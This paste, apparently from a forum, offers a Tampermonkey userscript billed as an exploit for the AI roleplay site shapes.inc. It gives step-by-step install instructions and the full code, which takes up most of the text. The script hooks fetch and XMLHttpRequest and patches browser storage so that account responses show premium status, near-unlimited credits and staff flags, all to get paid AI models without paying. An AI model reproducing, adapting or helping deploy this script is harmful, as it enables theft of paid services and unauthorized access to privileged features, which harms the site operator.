SHAPES.INC EXPLOIT : FREE ASTRA 6 PRO AND CLAUDE FABLE 5.1

THIS IS WORKING TO THE STAND OF 12/9/2026 at 22:53





a ai roleplay website doesnt know how to not trust the client so now we can all use it for free :)



images:

https://user.uploads.dev/file/6c0855901f14d63f9f8f1a2fc20da75e.png


you can fully use all paid models

if you go into settings you can see the staff tools but you cannot use them

HOW TO USE:

#1 get the javascript code at the end of the paste (or this link https://user.uploads.dev/file/e67dac025d739c6719bef4375901e83d.js )
#2 get tampermonkey for the browser you use
#3 add the script
#4 go onto shapes.inc
#5 send any message to any bot (the exploit will not work yet
#6 select any premium AI model or go to settings and see the staff tools (the exploit now fully works)


HOW IT WORKS

the ai who coded this (100% vibecoded) is trusting the client with almost everything so if you manipulate the packet send to 	https://talk.shapes.inc/api/user/me and just make it say that you have premium and 10 trillion credits

YOU NOW FULLY HAVE PREMIUM AND INFINITE CREDITS


dion
i reported this and he banned me




// ==UserScript==
// @name         Shapes.inc exploit tuff
// @namespace    http://tampermonkey.net/
// @version      3.0
// @description  worst website ever made ???
// @match        https://*.shapes.inc/*
// @grant        none
// @run-at       document-start
// ==/UserScript==

(function() {
    'use strict';

    const spoofData = (data) => {
        if (!data || typeof data !== 'object') return data;

        return {
            ...data,
            premium: true,
            banned: false,
            deleted: false,
            credits_available: 999999999999999,
            is_editorial_staff: true,
            is_editorial_staff_2: true,
            premium_plans_v2_enabled: true,
            premium_plans_v2_trial_credits_redeemed_at: null,
            premium_plans_v2_entitlement: {
                is_participating: true,
                effective_tier: "ultimate",
                subscription_status: "active",
                has_active_subscription: true,
                ad_free: true,
                can_create_workspaces: true,
                can_use_premium_models: true,
                premium_model_access_source: "premium",
                eligible_grandfathered_credit_balance: 999999999999999,
                can_purchase_legacy_credits: true,
                persona_limit: 99999,
                owned_shape_limit: 99999,
                owned_room_limit: 99999,
                context_message_limit: 999999,
                knowledge_entry_character_limit: 999999999,
                knowledge_record_limit: 99999,
                manual_memory_limit: 999999999,
                custom_emoji_limit: 99999,
                upgrade_url: "/premium"
            },
            credit_subscription_id: "spoof_ultimate",
            credit_subscription_status: "active",
            credit_subscription_plan: "unlimited",
            credit_subscription_allowance: 999999999999999,
            credit_subscription_catalog_version: null,
            credit_subscription_monthly_credits: 999999999999999,
            credit_subscription_current_period_end: null,
            cancel_at_period_end: false,
            cancel_at: null
        };
    };

    const originalFetch = window.fetch;
    window.fetch = function(...args) {
        const url = (typeof args[0] === 'string' ? args[0] : (args[0]?.url || '')).toLowerCase();

        return originalFetch.apply(this, args).then(async response => {
            if (!response.ok) return response;

            const shouldIntercept = url.includes('/api/user') ||
                                   url.includes('credits') ||
                                   url.includes('profile') ||
                                   url.includes('entitlement') ||
                                   url.includes('subscription');

            if (shouldIntercept) {
                try {
                    const clone = response.clone();
                    const text = await clone.text();
                    const data = JSON.parse(text);
                    const spoofed = spoofData(data);

                    return new Response(JSON.stringify(spoofed), {
                        status: response.status,
                        statusText: response.statusText,
                        headers: response.headers
                    });
                } catch(e) {
                    return response;
                }
            }
            return response;
        });
    };


    const originalOpen = XMLHttpRequest.prototype.open;
    XMLHttpRequest.prototype.open = function(method, url, ...args) {
        this.__url = url;
        return originalOpen.apply(this, [method, url, ...args]);
    };

    const originalSend = XMLHttpRequest.prototype.send;
    XMLHttpRequest.prototype.send = function(...args) {
        const url = (this.__url || '').toLowerCase();
        const shouldIntercept = url.includes('/api/user') ||
                               url.includes('credits') ||
                               url.includes('profile');

        if (shouldIntercept) {
            const originalCallback = this.onreadystatechange;
            this.onreadystatechange = function() {
                if (this.readyState === 4 && this.status === 200) {
                    try {
                        const data = JSON.parse(this.responseText);
                        const spoofed = spoofData(data);

                        Object.defineProperty(this, 'responseText', {
                            writable: true,
                            configurable: true,
                            value: JSON.stringify(spoofed)
                        });
                        Object.defineProperty(this, 'response', {
                            writable: true,
                            configurable: true,
                            value: spoofed
                        });
                    } catch(e) {}
                }
                if (originalCallback) return originalCallback.call(this);
            };
        }
        return originalSend.apply(this, args);
    };


    const patchStorage = (storage) => {
        const orig = storage.setItem;
        storage.setItem = function(key, value) {
            if (key.toLowerCase().includes('user') ||
                key.toLowerCase().includes('profile') ||
                key.toLowerCase().includes('auth') ||
                key.toLowerCase().includes('credit') ||
                key.toLowerCase().includes('premium')) {
                try {
                    const data = JSON.parse(value);
                    if (data && typeof data === 'object') {
                        const spoofed = spoofData(data);
                        return orig.call(this, key, JSON.stringify(spoofed));
                    }
                } catch(e) {}
            }
            return orig.call(this, key, value);
        };
    };

    try { patchStorage(localStorage); } catch(e) {}
    try { patchStorage(sessionStorage); } catch(e) {}


    setInterval(() => {
        const keysToCheck = ['user', 'currentUser', 'profile', 'auth', '__user', '__profile', '__auth'];
        keysToCheck.forEach(key => {
            if (window[key] && typeof window[key] === 'object') {
                Object.assign(window[key], spoofData(window[key]));
            }
        });
    }, 250);

})();